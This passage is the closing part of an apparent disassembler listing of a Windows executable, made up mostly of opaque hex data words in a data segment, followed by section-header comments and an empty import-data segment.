		dd 3043527Ch, 541B42C9h, 154C74ADh, 18DA9010h, 67548305h
		dd 0DDABC934h, 1926443Bh, 3448FD4Dh, 500D02CBh,	2C29B34Fh
		dd 0A39647AEh, 7271260Ch, 0CF4C0C08h, 16AB5693h, 0E5A439A3h
		dd 324DED56h, 3B189AD5h, 5318350Bh, 41CB8A94h, 0C9E1E6D5h
		dd 295F324Eh, 0C9BF1033h, 1015B4C8h, 4A1C438Eh,	0E74CB5C2h
		dd 436D3340h, 31CB9DF5h, 4C41FB17h, 39B2EAE2h, 1C11101Ah
		dd 56DCB947h, 41460518h, 0C2D354Bh, 0CFE34C1Dh,	0A6C449C4h
		dd 28104C26h, 85942D32h, 3839080Ch, 0B233DA53h,	142B883Ch
		dd 8219D48h, 293C19A1h,	186DAF42h, 424D55E4h, 6611D64Fh
		dd 900C900Dh, 32DDB418h, 4AF259E9h, 40C3A4Fh, 0C0CE4D93h
		dd 1C471042h, 3C445D7Bh, 324D18D9h, 0E319DA18h,	563CCEA1h
		dd 474C8D56h, 0B950D540h, 0FD09229Eh, 75B6D925h, 22FB271Bh
		dd 491B9162h, 0F270DB4Eh, 34F14548h, 0A90C1F89h, 4E106880h
		dd 2826F4B0h, 4A4FE292h, 55D51552h, 1CD110D0h, 0D54E4689h
		dd 4F5277DEh, 0B5BDF714h, 186885CFh, 411ECFE7h,	31345F47h
		dd 64BBCE30h, 69522026h, 33182953h, 0C452C5F4h,	0CF2477B8h
		dd 0F0292D37h, 0F6F95950h, 89410CBAh, 10A5454Ch, 43E21041h
		dd 19D2DB6Ch, 18AE462Dh, 0CD63C06h, 0BF204629h,	312429CEh
		dd 1DA331A6h, 50C1026Ch, 0FB4D0CB9h, 195D66FDh,	27F13884h
		dd 572A5014h, 2DEB427Fh, 0D521DBA3h, 0DDC71834h, 12A5A51Ah
		dd 0D0F46E83h, 47CD2428h, 4F5E61A0h, 4CA67DF0h,	5F1F0D99h
		dd 0AFA44C5Ah, 43537FDBh, 4CE9A087h, 1F1C84F3h,	7F4D4156h
		dd 294C0A65h, 7C035B0h,	0B81CC9E8h, 4C861084h, 7A4918C8h
		dd 523E45C5h, 482094A8h, 8FCBE700h, 18EBDCA1h, 0B4D54C3Eh
		dd 699D0913h, 35390C01h, 3233100Eh, 861C4DB2h, 5A425C08h
		dd 0DCE1C9E7h, 90D52D4Eh, 0DFAC420Ch, 4799481Fh, 104A5434h
		dd 573E463Fh, 5287BA59h, 85445455h, 91203933h, 31114E20h
		dd 0E26E436h, 1D52DA19h, 41F81C14h, 0C01126D2h,	4254C910h
		dd 10BA28E2h, 0E7E03B7Ah, 487A48A7h, 5547A4EFh,	1B44A6C2h
		dd 0F7465DE7h, 14803DCDh, 0CA283710h, 54440AB6h, 3247711Ch
		dd 5319DAACh, 1619B56Bh, 0F10429A7h, 0EB8C6143h, 424032A5h
		dd 0CC9B3C96h, 385610B1h, 7A9FC12Ch, 431C4729h,	29463756h
		dd 18A57C20h, 4E04501Ah, 0E8514B9Ah, 7C0DD159h,	0A4B9DB94h
		dd 415A604Ch, 5021492Ch, 62F2F71Dh, 19810845h, 0E904186Dh
		dd 53C72567h, 307446E5h, 96F67299h, 69DC9910h, 0A8A5F17Fh
		dd 0D3E98258h, 6E14A033h, 4CCD1243h, 0FC841420h, 0D2384299h
		dd 0B9D49252h, 3B442C68h, 24D24D55h, 526F269Fh,	28540C05h
		dd 5A684918h, 4615A178h, 51E8D0D4h, 538ABBACh, 422B7A0Ch
		dd 0E2273443h, 0CD6BD1A1h, 0EA602120h, 1020B667h, 8134B982h
		dd 8EC31082h, 5047BBF7h, 322A28B7h, 4B7519EDh, 0B4330C18h
		dd 0C9AC2101h, 0DDF34F0Fh, 47EF9478h, 0FD20B667h, 0BA526652h
		dd 0D1D56210h, 0AB1068CDh, 12427EBh, 66A9D57h, 0C8E4E0Ch
		dd 0E2A0496Dh, 5E79940Bh, 18E3764Eh, 1B2D444Eh,	764A43F1h
		dd 0F3491867h, 33973031h, 36AD5F37h, 0C590EB1Ch, 0B776495Bh
		dd 69444E20h, 0CF20B854h, 10380D4Ah, 7E0F37D9h,	0BC75455h
		dd 47493F10h, 5F4B3280h, 31E63637h, 8133342Ch, 30140752h
		dd 3953671Eh, 4E9E05Ah,	0A72957A0h, 8A729E18h, 845D9C10h
		dd 4C432B10h, 44282D48h, 3CFCE80Ch, 0A9E44BABh,	0F34FE446h
		dd 9E896B99h, 87188E4Ah, 0CE4F9315h, 79F77CC5h,	6B31DB12h
		dd 0BA657E28h, 67502133h, 0EA5AC270h, 528AEC10h, 984F9199h
		dd 5944599Ah, 4E838742h, 1BFF5457h, 20D7789Eh, 1004563Dh
		dd 2C347F0Ah, 5B39F748h, 0F5181A76h, 18DA7172h,	0E50856C2h
		dd 5D795A44h, 8A1052BFh, 89493449h, 2D1AF47Bh, 3823BA5Ch
		dd 528A82Ch, 527E0C8Eh,	0BB4B789Bh, 69FA5F36h, 7E21BE0Fh
		dd 4E7BE0BEh, 94041020h, 2D9634A5h, 2DFF211Ch, 6F0CD0D7h
		dd 1C4BAA3Bh, 850DCC52h, 4D460B10h, 9E28D42Bh, 601421FFh
		dd 545F3034h, 5B985773h, 9D9047EDh, 4A32F140h, 0ED7C6B40h
		dd 18203678h, 2A5FD5E7h, 0AF80AE1Ah, 43943887h,	6C33FC55h
		dd 37847E2Eh, 93A824A5h, 18D0BCAEh, 66F2E5A9h, 423F19DBh
		dd 920CD255h, 0A96A658Ah, 4C4905FAh, 204C7653h,	5245BCh
		dd 4859500Ch, 2D7CA155h, 0A732A870h, 95532A24h,	20D3E514h
		dd 0FC6E0639h, 9040D113h, 9519B68Dh, 21A95188h,	0A2924F44h
		dd 0B54C2307h, 7BF89B21h, 0C9C84453h, 0F82C9E43h, 5336BE32h
		dd 103C94E5h, 0D8A60C9Ch, 5EC50C8Eh, 30264255h,	53299618h
		dd 554C1912h, 5C2DD429h, 0FA064728h, 87709831h,	7928221Ah
		dd 2C0CA544h, 701C27D1h, 0FEA8108Ah, 69ED7B10h,	1E5EF616h
		dd 8292D13h, 3038378Fh,	5059545Fh, 0A68066A4h, 0FC9944A4h
		dd 1CAB4D67h, 2E55F8D1h, 25A63330h, 4D9BC865h, 0D66CDB4h
		dd 0FF59FA18h, 43E87F0Eh, 20369CA7h, 57219804h,	216F1149h
		dd 0E90C54EAh, 26F5DC63h, 0A3A41861h, 49193887h, 69624315h
		dd 4F4420D8h, 7F3E64A5h, 2A2E28A5h, 47141B2Ch, 143BB710h
		dd 6719DF5Ah, 53E4D9BBh, 0CD0C1550h, 54D1F242h,	94F60C59h
		dd 538B963Ch, 46521812h, 0DF717E15h, 142F501Fh,	6D19D6A8h
		dd 3421A735h, 953190F8h, 18D6F016h, 0A29D6E12h,	359F4926h
		dd 2E48391Ah, 70294012h, 0F555BBF3h, 18121875h,	484CC10Ah
		dd 0A10F926Fh, 0D148D452h, 4C43150Ch, 5746C428h, 5C3334D2h
		dd 294BD304h, 1869DECAh, 0EE6B4A59h, 56A0A2C6h,	21E62496h
		dd 1D21CD84h, 84EFF260h, 34D42035h, 0A26C3866h,	0E4381C96h
		dd 29487E4Eh, 4A10524Ch, 0B5E7730Bh, 56D28250h,	4D280967h
		dd 5457B798h, 3FCA4B0Ch, 0DB581969h, 4873F89Ch,	50461320h
		dd 20451869h, 6394EBEh,	0C44AA538h, 0D70C6785h,	2655F54Bh
		dd 0F4B0184Dh, 4E718297h, 72C45C32h, 10161432h,	3C8EAAD2h
		dd 0F2D93D5Eh, 1C2029EDh, 0A62D444Ah, 9E3D18A6h, 9D52FF4Dh
		dd 5076209Ah, 6E18595Bh, 0B2B420A6h, 485C966Bh,	0B471E24Bh
		dd 69C6C848h, 1B55D50Eh
		dd 0F0DDFB4Eh, 20962819h, 57A50E49h, 348350AEh,	0D8C63132h
		dd 57FA16DFh, 0D64C881Ch, 94E78990h, 0E61B3334h, 851AD730h
		dd 6FEBA75Eh, 3F5A8E20h, 0E2A50CEBh, 0C20C1612h, 30345386h
		dd 29CDB0D9h, 721BC21h,	4A2F140Fh, 0E90C1A08h, 24625562h
		dd 41E31B13h, 52EEBAD7h, 74C5F4E2h, 0A8E218B5h,	726218DAh
		dd 5A3EC065h, 0C0292713h, 832850F1h, 4EA9E2B4h,	5DA0DB64h
		dd 4DC49952h, 4CA44219h, 0DAF70CB3h, 29ACEA3Ch,	55196C06h
		dd 8FA960AEh, 0CDC8234Ch, 13224E49h, 384118D9h,	6ECBA7F0h
		dd 7D108EF1h, 9156E844h, 7820CDB8h, 77CFB789h, 0FD4C8C8Bh
		dd 112AD44Ah, 39A11095h, 0D480E35h, 3B71C9E7h, 10C82C21h
		dd 42622C21h, 931A584Dh, 0F70C20D9h, 0F97AD04Ah, 28534972h
		dd 0DF45279Fh, 0A98B19B5h, 52FE483Ah, 1899A455h, 0DF187244h
		dd 5550570Fh, 4554CB0Ch, 4C18B29Ah, 0E753E57Ch,	0B38FB6AFh
		dd 0C97A1041h, 42101CFAh, 51CA534Eh, 2756186Ah,	6BF9504Eh
		dd 0C0F3BE12h, 0F2E5954Ch, 408E4F6Eh, 0AF7E2D5Fh, 0CA133219h
		dd 88AA4A1Dh, 42E1242Dh, 61224F50h, 5D67189Ah, 1441273Eh
		dd 2546E073h, 62454D53h, 1E411932h, 186C3999h, 184B5247h
		dd 5E514F94h, 27B0C0Ah,	54573033h, 0E4515942h, 0D06E1448h
		dd 42400EA9h, 0C6BDF18h, 178D5293h, 7CE650E1h, 184C5325h
		dd 0D85F896Bh, 8E6598DBh, 9A505828h, 520ACFE7h,	65C72BCh
		dd 7C40327Ah, 10297A41h, 28CABBF8h, 48511055h, 4329E44Eh
		dd 0BD42690Ch, 435C243Ah, 12C1A23h, 0A85FA82Fh,	91ED64E9h
		dd 0E20CD68h, 90925BB9h, 9B1C964Eh, 0D30FA207h,	6D97B719h
		dd 0E472819h, 282957A5h, 496E2DFBh, 2D250644h, 0F5441C43h
		dd 0B9FA3F71h, 3DBA540Ch, 29494313h, 48209B7Eh,	208EE4A0h
		dd 4DEC987Dh, 79A77457h, 0B2A8634Ah, 0C9487910h, 20431E54h
		dd 2946D39Fh, 0DF6C29D9h, 0A4211BACh, 4FF446C6h, 0C51F6741h
		dd 49BDD343h, 51088B9Dh, 7DA5355Dh, 67189A68h, 53383EB1h
		dd 61C469CEh, 0BA122E06h, 1069D81Dh, 19ED64EAh,	0EC729635h
		dd 890F44CBh, 0CF4832CAh, 0AC534689h, 62A64444h, 5E50174Ch
		dd 0A324AC53h, 3BABE7EFh, 2D194E26h, 1E1C0595h,	0BC0C6B5Ch
		dd 54555005h, 15283459h, 21B634D5h, 2E9C16A4h, 24BF2023h
		dd 20A3B64Ch, 495388A5h, 78CC6AC9h, 0EB79ED11h,	616C43C1h
		dd 7CF94A77h, 441DAAB6h, 0F02D4D16h, 31422187h,	49282A38h
		dd 0DADE06BAh, 0D019415Bh, 30326285h, 39102C36h, 0F24D1BF5h
		dd 58DEFE9Ah, 2D43F12Fh, 29E13FB4h, 33302D17h, 47182ED2h
		dd 0A2491220h, 0CD20DB04h, 189A45B2h, 926F68D9h, 0AE4B0BE0h
		dd 629FF10Ch, 2040E950h, 33D4810Ch, 1009405Dh, 34471C0Ah
		dd 370E9D7Bh, 0E92846CAh, 775965ABh, 786810C8h,	242F186Dh
		dd 2E1C2D14h, 20960069h, 5ADC0A47h, 0EEECC82Ch,	480850EAh
		dd 592F3FFDh, 20DE841Ch, 0E454AA7Eh, 162D1085h,	5642295Ch
		dd 55123C63h, 7C56CA4Eh, 4A315324h, 52162023h, 3B49E109h
		dd 0F077E576h, 47460589h, 526BB529h, 52110AA8h,	100B5A98h
		dd 1038066Ah, 4AE3534Ch, 5AAD5C0Ch, 0F210AE10h,	495C9944h
		dd 181D8D61h, 0F8D27DF3h, 3D415A56h, 67141468h,	0A344C574h
		dd 7F1091A6h, 0E8F971ACh, 48AE544Ch, 4B477BA1h,	5F4417D4h
		dd 0E2467549h, 0CE0B4AF7h, 0B8425003h, 2889547h, 8F2972A0h
		dd 6CAC28F3h, 37C45192h, 3D9D0C64h, 14909833h, 39CC39A3h
		dd 849A127Eh, 25103DA7h, 5F101A3Fh, 0D0180466h,	0CD14FF4h
		dd 0D3353911h, 0AC4FD0B1h, 5D5B2069h, 0A550206Ch, 0C658A544h
		dd 9CBF1A86h, 0F00C82B7h, 257887A1h, 401456E2h,	3C214C87h
		dd 404AD8A3h, 35176725h, 5131321h, 2D396C3Fh, 0A6747910h
		dd 530C9C21h, 0E384194Eh, 0A0841864h, 822C3429h, 308219B6h
		dd 47525016h, 8929DF40h, 0EF32196Dh, 0E8430CD0h, 0E9C0A99Dh
		dd 4CA399F1h, 0F15842A5h, 3410E832h, 0D064F288h, 803C5B10h
		dd 0AD2DA541h, 2058EABBh, 9512E6DFh, 16B4694Dh,	8F354283h
		dd 545140FAh, 957CD84Fh, 28B7DD45h, 0AC50C418h,	1C395B98h
		dd 0BA4120ACh, 50F398C8h, 3E95DBFDh, 642D5A41h,	66A4DE28h
		dd 2D5E2154h, 5C09E5CDh, 537A75A4h, 47E24CE3h, 7D7B70FCh
		dd 0AC49F820h, 3297F954h, 280C3D54h, 0CECA5E5Dh, 38A40C45h
		dd 5F44716Ch, 35FD41B0h, 31205DDBh, 8697F1Bh, 0CB0EAC7Ah
		dd 65045C29h, 62D4EA44h, 0A6D1BCAAh, 28DEBD02h,	9F665D72h
		dd 8ABB06D7h, 0F72F9A32h, 38877D3Eh, 0F7B4F5D2h, 7D523C85h
		dd 1F8E436Eh, 28A83A5Eh, 6AA6BE92h, 4C090130h, 0B8E14127h
		dd 98FBCAA5h, 9CD0230h,	6A0429AAh, 0E4BF2735h, 28D6F78Ch
		dd 3E429FFh, 9190401h, 6F282895h, 0B3E1A87Ah, 0A091A05h
		dd 47F2829h, 0F0FC697Fh, 7C1932DCh, 0EDE46457h,	4B322186h
		dd 647C1933h, 3B69BCFFh, 8BEECA4Dh, 0CAEEB4E0h,	8EEE4A51h
		dd 5753F21Ch, 0DD95EB4Eh, 0D99F611Ch, 0C0024C1Ah, 801D42Ah
		dd 4372E010h, 0D4E4D8C8h, 0CC09D04Ch, 4410C889h, 24815C3Ah
		dd 116F30BFh, 95264AD1h, 8579D11h, 0D5F2887Dh, 868DD64Ch
		dd 0FAC757A5h, 673A77AFh, 0F5C2C255h, 2E146BD1h, 0B84FAB40h
		dd 6EE897D8h, 26C5EB96h, 787FFD64h, 0D05CB25Ah,	0AFA89633h
		dd 468A5320h, 0D1AF743Fh, 8F31A2F0h, 1A737170h,	0E11D73A2h
		dd 27766441h, 0AD7BED58h, 0CD27B5CFh, 0E8AA52D4h, 3AB8D68Fh
		dd 0B359BC5Ah, 2E45CF6Bh, 38464C7Bh, 7729FA5Bh,	0D1D9EC6Fh
		dd 4532456h, 1051AF5Dh,	4C484EE8h, 3E5D95DCh, 0F04FE139h
		dd 0FA5A5F5h, 3156B4E4h, 47EECBFFh, 9244E270h, 0C538122Bh
		dd 6557A5EDh, 4E1833A8h, 2EB891Ch, 0F9E80583h, 5B0203FFh
		dd 0B966C931h, 73800E0Fh, 0E243A20Eh, 64189EF9h, 360C2DB1h
		dd 0C0330102h, 30400364h, 0D477FE78h, 883CF00h,	0A1F09EBh
		dd 7CD98D34h, 0D0F83C0Ch, 0CA0BCE03h, 0D37848A7h, 0DAEB2041h
		dd 331C59E8h, 0F638FF72h, 0C27E057h, 49798110h,	410F4D0Ah
		dd 33CC0275h, 74080316h, 83726854h, 4C0833Bh, 8598C39Bh
		dd 0DB7474F6h, 0D71CFF74h, 0FA83F203h, 7C12E857h, 0F5DB95D1h
		dd 692D2005h, 0E1BBCB13h, 0C06AC1C5h, 33C317E8h, 0C5C30175h
		dd 219137CDh, 840F0A07h, 0C380A6EDh, 505D5B58h,	54EC2883h
		dd 0FC8B079Fh, 5040488Dh, 0B0AAF3D7h, 57AB4407h, 6A135152h
		dd 19328h, 0FF53550Ch, 54C483D6h, 0C3C08518h, 0C95B2D67h
		dd 0A58B65FBh, 7FEB61DEh, 0ED74346h, 0BFE545FDh, 0F25F48E3h
		dd 0F97AA921h, 0A03F8A20h, 898758Ch, 407D8873h,	94474170h
		dd 201B3F18h, 93380520h, 0C2015619h, 51415C9Ah,	0F6E808ECh
		dd 0BA09D818h, 68434377h, 28F9025Dh, 79857E0Bh,	1E10C148h
		dd 8D5E84C8h, 2811422h,	0E81701B2h, 4B827140h, 7E022102h
		dd 0C0823C8Ch, 19550115h, 4C2E0901h, 0F8881008h, 11148103h
		dd 2830F7A0h, 9C11C81Dh, 98221A91h, 89901B44h, 2488121Fh
		dd 91804813h, 44782221h, 0D89700Eh, 0F246812h, 58A06048h
		dd 5115864h, 1E915048h,	12444C22h, 12208948h, 480C2444h
		dd 220B913Ch, 2C154434h, 24121C89h, 225F1924h, 89141144h
		dd 240C1218h, 91044816h, 0F6FC1017h, 0F8442222h, 12F48923h
		dd 50F02424h, 7F9C9E01h, 0FFF88821h, 1032EFC5h,	15134510h
		dd 108B0880h, 115E2D4h,	5308814h, 2F41BD42h, 874B2204h
		dd 8A1C0501h, 20044041h
		dd 5D0D2D09h, 6C2421DDh, 50040250h, 92A40808h, 82601C64h
		dd 18219479h, 21DFA6C5h, 18A5A108h, 0E09F1081h,	7E4082FCh
		dd 87A81980h, 0DAA3C161h, 8B0B529h, 40C5FE81h, 97B50832h
		dd 72416430h, 0A2CF21B6h, 0E841CAE4h, 0E1E8D9E5h, 85605A5Bh
		dd 0A46A17Eh, 39090551h, 0C0675EDAh, 846A675Fh,	0D3022E32h
		dd 0F9E0DED8h, 487E3103h, 16A26474h, 5B3A70DBh,	6CCB6467h
		dd 64185B58h, 634884Ch,	910909C8h, 530C2207h, 9230808h
		dd 0C81C0A94h, 4D16790Bh, 0F08023Ch, 4C105899h,	12891114h
		dd 1802044Dh, 4C353921h, 478E4110h, 34502943h, 0CA185294h
		dd 57650853h, 99596032h, 184C6C7Ch, 1220896Dh, 4A1C2470h
		dd 6E5AC72h, 0B9803032h, 84C81B4h, 4720A682h, 48842983h
		dd 29229191h, 2B109E53h, 0A49490A1h, 0E5A7C870h, 0CEA072B7h
		dd 1CD72099h, 0C074918h, 0C0090588h, 1D84390Bh,	61DE77C2h
		dd 0C960AEEh, 8128D59h,	210F8E39h, 3C90E48Fh, 92908791h
		dd 491E93F2h, 0AC89803h, 564C8C91h, 0A4301A9Ah,	4148FAE8h
		dd 10BCCDACh, 0D190FC0Ch, 6C3C2810h, 408F185Dh,	0CFD06716h
		dd 0EC106117h, 3C5876F9h, 8FE059C0h, 0F8631688h, 88D8C560h
		dd 0F018F128h, 8C18F85Dh, 897811C8h, 247912B8h,	917A48A8h
		dd 14FC2298h, 90425144h, 21894841h, 0E512520h, 17108A0h
		dd 10E5B199h, 0BC91248Bh, 8DBAE4Bh, 0ACC29D2h, 94E1EE01h
		dd 6832C226h, 0B0FC018Dh, 0C0355924h, 0F90940CDh, 2C307603h
		dd 18973C81h, 2420E072h, 7080447Fh, 61F08CD8h, 535038F1h
		dd 0B1845F54h, 405F4450h, 6F816CA1h, 0E1097886h, 190E862h
		dd 21039B4h, 3B241E0Ch,	2C1C5A4Eh, 99766A4h, 89D4B544h
		dd 0A61112F3h, 440930D5h, 4AF96D4Eh, 313A2534h,	0BC76776Ch
		dd 0D3B44470h, 999F289h, 912F5110h, 6C2C4D09h, 0A01054A1h
		dd 0C8B14002h, 100C4A05h, 92B708FAh, 10160C9Ch,	0B00FC350h
		dd 8512F424h, 98968002h, 20081416h, 0C019BEBCh,	1BC9BF04h
		dd 3348E21h, 0CECCEDA1h, 4ED3C2D8h, 0F00020F8h,	2B70B59Eh
		dd 3EC5ADA8h, 0D000699Dh, 0E525FD5Dh, 4F0F8E1Ah, 8083EB19h
		dd 95D79671h, 50E0343h,	9EAF298Dh, 0A0BFF9E0h, 81ED4407h
		dd 82338F12h, 3CB0E7B9h, 0DCFA6D5h, 781F49FFh, 0C66FF07Ah
		dd 0E98CE000h, 0BA47C980h, 41A80093h, 556B85BCh, 8D033927h
		dd 7CE070F7h, 8EDDE042h, 9DF900DEh, 0AA7EEBFBh,	0A1004351h
		dd 0CCE376E6h, 2F29F2h,	44268184h, 0AA171028h, 87AEF83Ah
		dd 0FAC4C5E3h, 0D4A7EBC0h, 0F775F3h, 957A4AE1h,	0CC6545CFh
		dd 0E91C700h, 19A0AEA6h, 46A31FE3h, 0C17410Dh, 0CC868175h
		dd 4800C976h, 0E442584Dh, 33993A7h, 0B2B8353Bh,	0A0EF53EDh
		dd 0C53D5DE5h, 9E8BF4E7h, 0FF5A921Eh, 0A1F0A680h, 54C020h
		dd 61378CA5h, 5A8BFDD1h, 2500D8E4h, 0DBF9895Dh,	395AA67h
		dd 0BF27F3F8h, 0DDE8C8A2h, 4C006E80h, 20979BC9h, 0A52028Ah
		dd 7525C460h, 0CCCD43FBh, 10442h, 3D713FFBh, 50A3D70Ah
		dd 0F8F80570h, 3B64005Ah, 978D4FDFh, 833E126Eh,	0D3C300F5h
		dd 0E219652Ch, 0B7170F58h, 0D080F1D1h, 4784230Fh, 0AC0F1B72h
		dd 80EEA7C5h, 69B6A640h, 5AF036Ch, 0EB8637BDh, 0BC3D33E0h
		dd 0E57A4200h, 0D6BF94D5h, 71C2F8E7h, 61CE00FDh, 0CC771184h
		dd 2FF8E4ABh, 0E15B4C00h, 94BEC44Dh, 0C9E63E95h, 5301923Ch
		dd 0CD44753Bh, 0AF9AF814h, 6700DEF8h, 453994BAh, 77B11EADh
		dd 0F24F8CFh, 0BCE2C623h, 61313BE0h, 0D0F97A8Bh, 0C1005955h
		dd 7C53B17Eh, 0F85FBB12h, 2FEE00D7h, 92BE068Dh,	0FB371585h
		dd 0A5E14844h, 27CC39E9h, 0A87F1FEAh, 0AC7D002Ah, 64BCE4A1h
		dd 0D0467C00h, 633E55DDh, 0CC06007Bh, 83775423h, 813991FFh
		dd 3AFA803Dh, 25637A19h, 0C0310043h, 89213CACh,	820E38D1h
		dd 0B89747h, 0DC3BD7FDh, 8580088h, 0E3E8B11Bh, 37CA686h
		dd 4584C600h, 99B60742h, 0DB370075h, 71333A2Eh,	2378D21Ch
		dd 49EE3200h, 0A6395A90h, 0C0BE0387h, 82A5DA57h, 32B5A2C0h
		dd 0B268E200h, 9F52A711h, 0B7590044h, 49252C10h, 36012DE4h
		dd 0AE534F34h, 8FEC6BCEh, 0A4040059h, 7DC2DEC0h, 0C600E8FBh
		dd 88E79E1Eh, 91575Ah, 8350BF3Ch, 4B4E1822h, 0FD62651Eh
		dd 6AF8F00h, 0C0117D94h, 0CE9FDE5Ch, 409C8D2h, 0CAD8A6DDh
		dd 0FC50600Bh, 2E3C8641h, 6556073Fh, 5F396378h,	0C6408169h
		dd 7497189Eh, 0BA5F926Ch, 5D402722h, 3C4652C3h,	576CC938h
		dd 218D3FF2h, 55C92021h, 475FDB87h, 0CAD73966h,	42413B81h
		dd 0EEA48003h, 0F55F8C92h, 6842662Dh, 10FA9D8h,	90FFBFAFh
		dd 0FFFBFA01h, 0AF010FF9h, 190FFBFh, 0F9FFFBFAh, 0BFAF010Fh
		dd 0FA0190FFh, 0FF9FFFBh, 0FFBFAF01h, 0FBFA0190h, 10FF9FFh
		dd 90FFBFAFh, 0FFFBFA01h, 0AF010FF9h, 190FFBFh,	0F9FFFBFAh
		dd 0BFAF010Fh, 0FA0190FFh, 0FF9FFFBh, 0FFBFAF01h, 0FBFA0190h
		dd 10FF9FFh, 90FFBFAFh,	0FFFBFA01h, 0AF010FF9h,	190FFBFh
		dd 0F9FFFBFAh, 0BFAF010Fh, 0FA0190FFh, 0FF9FFFBh, 0FFBFAF01h
		dd 0FBFA0190h, 10FF9FFh, 90FFBFAFh, 0FFFBFA01h,	0AF010FF9h
		dd 190FFBFh, 0F9FFFBFAh, 0BFAF010Fh, 0FA0190FFh, 0FF9FFFBh
		dd 0FFBFAF01h, 0FBFA0190h, 10FF9FFh, 90FFBFAFh,	0FFFBFA01h
		dd 0BE010AF9h, 98EFAAh,	405F4450h, 6F816CA1h, 0E1097886h
		dd 190E862h, 21039B4h, 3B241E0Ch, 2C1C5A4Eh, 99766A4h
		dd 89D4B544h, 0A61112F3h, 440930D5h, 4AF96D4Eh,	313A2534h
		dd 0BC76776Ch, 0D3B44470h, 999F289h, 912F5110h,	6C2C4D09h
		dd 0A01054A1h, 0C8B14002h, 100C4A05h, 92B708FAh, 10160C9Ch
		dd 0B00FC350h, 8512F424h, 98968002h, 20081416h,	0C019BEBCh
		dd 1BC9BF04h, 3348E21h,	0CECCEDA1h, 4ED3C2D8h, 0F00020F8h
		dd 2B70B59Eh, 3EC5ADA8h, 0D000699Dh, 0E525FD5Dh, 4F0F8E1Ah
		dd 8083EB19h, 95D79671h, 50E0343h, 9EAF298Dh, 0A0BFF9E0h
		dd 81ED4407h, 82338F12h, 3CB0E7B9h, 0DCFA6D5h, 781F49FFh
		dd 0C66FF07Ah, 0E98CE000h, 0BA47C980h, 300h dup(0)
seg002		ends

; Section 3. (virtual address 0035F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0035F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 75F000h
		align 2000h
_idata2		ends


		end __ImageBase